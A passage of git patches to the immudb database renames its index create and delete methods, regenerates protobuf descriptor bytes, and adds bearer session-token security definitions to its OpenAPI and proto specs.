0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, @@ -2392,52 +2398,50 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 5, // 7: immudb.model.IndexCreateRequest.indexes:type_name -> immudb.model.Index - 5, // 8: immudb.model.IndexDeleteRequest.indexes:type_name -> immudb.model.Index - 35, // 9: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 35, // 10: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 26, // 11: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 35, // 12: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 26, // 13: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 27, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 28, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 36, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 30, // 18: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 35, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 30, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 37, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 6, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 27: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest - 17, // 28: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest - 19, // 29: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 21, // 30: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 23, // 31: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 25, // 32: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 31, // 33: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 33, // 34: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 3, // 35: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 7, // 36: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 37: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 38: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 39: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 40: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse - 18, // 41: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse - 20, // 42: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 22, // 43: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 24, // 44: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 29, // 45: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 32, // 46: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 34, // 47: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 35, // [35:48] is the sub-list for method output_type - 22, // [22:35] is the sub-list for method input_type - 22, // [22:22] is the sub-list for extension type_name - 22, // [22:22] is the sub-list for extension extendee - 0, // [0:22] is the sub-list for field type_name + 35, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 35, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 35, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 28, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 36, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 30, // 16: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 35, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 30, // 18: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 37, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 20: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 6, // 21: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 22: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 23: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 24: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 25: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest + 17, // 26: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest + 19, // 27: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 21, // 28: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 23, // 29: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 25, // 30: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 31, // 31: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 33, // 32: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 3, // 33: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 7, // 34: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 35: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 36: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 37: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 38: immudb.model.DocumentService.IndexCreate:output_type -> immudb.model.IndexCreateResponse + 18, // 39: immudb.model.DocumentService.IndexDelete:output_type -> immudb.model.IndexDeleteResponse + 20, // 40: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 22, // 41: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 24, // 42: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 29, // 43: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 32, // 44: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 34, // 45: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 33, // [33:46] is the sub-list for method output_type + 20, // [20:33] is the sub-list for method input_type + 20, // [20:20] is the sub-list for extension type_name + 20, // [20:20] is the sub-list for extension extendee + 0, // [0:20] is the sub-list for field type_name } func init() { file_documents_proto_init() } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index cd3e4f9b8e..67e0241c18 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -37,10 +37,10 @@ type DocumentDatabase interface { UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) - // CreateIndexes creates indexes for a collection - CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) - // DeleteIndexes deletes indexes from a collection - DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) + // CreateIndex creates an index for a collection + CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) + // DeleteIndex deletes an index from a collection + DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) // GetDocument returns the document SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) // InsertDocument creates a new document @@ -142,13 +142,13 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDel return &protomodel.CollectionDeleteResponse{}, nil } -// CreateIndexes creates indexes for a collection -func (d *db) CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { +// CreateIndex creates an index for a collection +func (d *db) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { if req == nil { return nil, ErrIllegalArguments } - err := d.documentEngine.CreateIndexes(ctx, req.Collection, req.Indexes) + err := d.documentEngine.CreateIndex(ctx, req.Collection, req.Fields, req.IsUnique) if err != nil { return nil, err } @@ -156,13 +156,13 @@ func (d *db) CreateIndexes(ctx context.Context, req *protomodel.IndexCreateReque return &protomodel.IndexCreateResponse{}, nil } -// DeleteIndexes deletes indexes from a collection -func (d *db) DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { +// DeleteIndex deletes an index from a collection +func (d *db) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { if req == nil { return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteIndexes(ctx, req.Collection, req.Indexes) + err := d.documentEngine.DeleteIndex(ctx, req.Collection, req.Fields) if err != nil { return nil, err } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 0249670f9d..2f1df68dfc 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -268,11 +268,11 @@ func (d *closedDB) ListCollections(ctx context.Context, req *protomodel.Collecti return nil, store.ErrAlreadyClosed } -func (d *closedDB) CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { +func (d *closedDB) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { +func (d *closedDB) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 25445ee2c9..8486f46b5d 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -98,7 +98,7 @@ func (s *ImmuServer) IndexCreate(ctx context.Context, req *protomodel.IndexCreat if err != nil { return nil, err } - resp, err := db.CreateIndexes(ctx, req) + resp, err := db.CreateIndex(ctx, req) if err != nil { return nil, err } @@ -110,7 +110,7 @@ func (s *ImmuServer) IndexDelete(ctx context.Context, req *protomodel.IndexDelet if err != nil { return nil, err } - resp, err := db.DeleteIndexes(ctx, req) + resp, err := db.DeleteIndex(ctx, req) if err != nil { return nil, err } diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js index 770b3eb1f7..7a5fb1ad78 100644 --- a/swagger/swaggeroverrides.js +++ b/swagger/swaggeroverrides.js @@ -4,7 +4,7 @@ window.onload = function() { // the following lines will be replaced by docker/configurator, when it runs in a docker-container window.ui = SwaggerUIBundle({ urls: [ - {"url": "/api/docs/openapi.swagger.json", "name": "Authorization and Document API"}, + {"url": "/api/docs/apidocs.swagger.json", "name": "Authorization and Document API"}, {"url": "/api/docs/schema.swagger.json", "name": "KV and SQL API"} ], dom_id: '#swagger-ui', From 37d74ba571069dde375e1723ceb080eff36c59b5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 16:41:29 -0300 Subject: [PATCH 0469/1062] chore(pkg/api): authorization in swagger spec Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 5 ++ pkg/api/httpclient/client.go | 4 ++ pkg/api/openapi/apidocs.swagger.json | 18 +++++++- pkg/api/proto/authorization.proto | 17 +++++++ pkg/api/protomodel/authorization.pb.go | 63 ++++++++++++++------------ 5 files changed, 76 insertions(+), 31 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cf086c1661..918c127936 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -46,6 +46,7 @@ var ( ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") ErrReservedFieldName = errors.New("reserved field name") + ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") ) func mayTranslateError(err error) error { @@ -69,6 +70,10 @@ func mayTranslateError(err error) error { return ErrFieldDoesNotExist } + if errors.Is(err, sql.ErrLimitedIndexCreation) { + return ErrLimitedIndexCreation + } + return err } diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 3c8267ac9d..d00573e146 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -16,6 +16,10 @@ import ( "github.com/deepmap/oapi-codegen/pkg/runtime" ) +const ( + BearerScopes = "bearer.Scopes" +) + // Defines values for ModelComparisonOperator. const ( EQ ModelComparisonOperator = "EQ" diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 04eda1745f..3b76c0d087 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -106,7 +106,8 @@ ], "tags": [ "authorization" - ] + ], + "security": [] } }, "/collections/create": { @@ -1338,5 +1339,18 @@ } } } - } + }, + "securityDefinitions": { + "bearer": { + "type": "apiKey", + "description": "Session token: \u003ctoken\u003e", + "name": "grpc-metadata-sessionid", + "in": "header" + } + }, + "security": [ + { + "bearer": [] + } + ] } diff --git a/pkg/api/proto/authorization.proto b/pkg/api/proto/authorization.proto index a2e7de7899..73e7270d8c 100644 --- a/pkg/api/proto/authorization.proto +++ b/pkg/api/proto/authorization.proto @@ -28,6 +28,22 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { title: "immudb REST API v2"; description: "Authorization API" }; + security_definitions: { + security: { + key: "bearer" + value: { + type: TYPE_API_KEY + in: IN_HEADER + name: "grpc-metadata-sessionid" + description: "Session token: " + } + } + } + security: { + security_requirement: { + key: "bearer" + } + } }; message OpenSessionRequest { @@ -58,6 +74,7 @@ service AuthorizationService { body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + security: {} // no security tags: "authorization"; }; } diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index f52d459b4b..e134740cb8 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -356,43 +356,48 @@ var file_authorization_proto_rawDesc = []byte{ 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x16, 0x0a, 0x14, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xc6, 0x03, 0x0a, 0x14, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xc8, 0x03, 0x0a, 0x14, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, - 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, - 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x66, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x32, 0x12, 0x27, 0x0a, 0x12, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, - 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, - 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 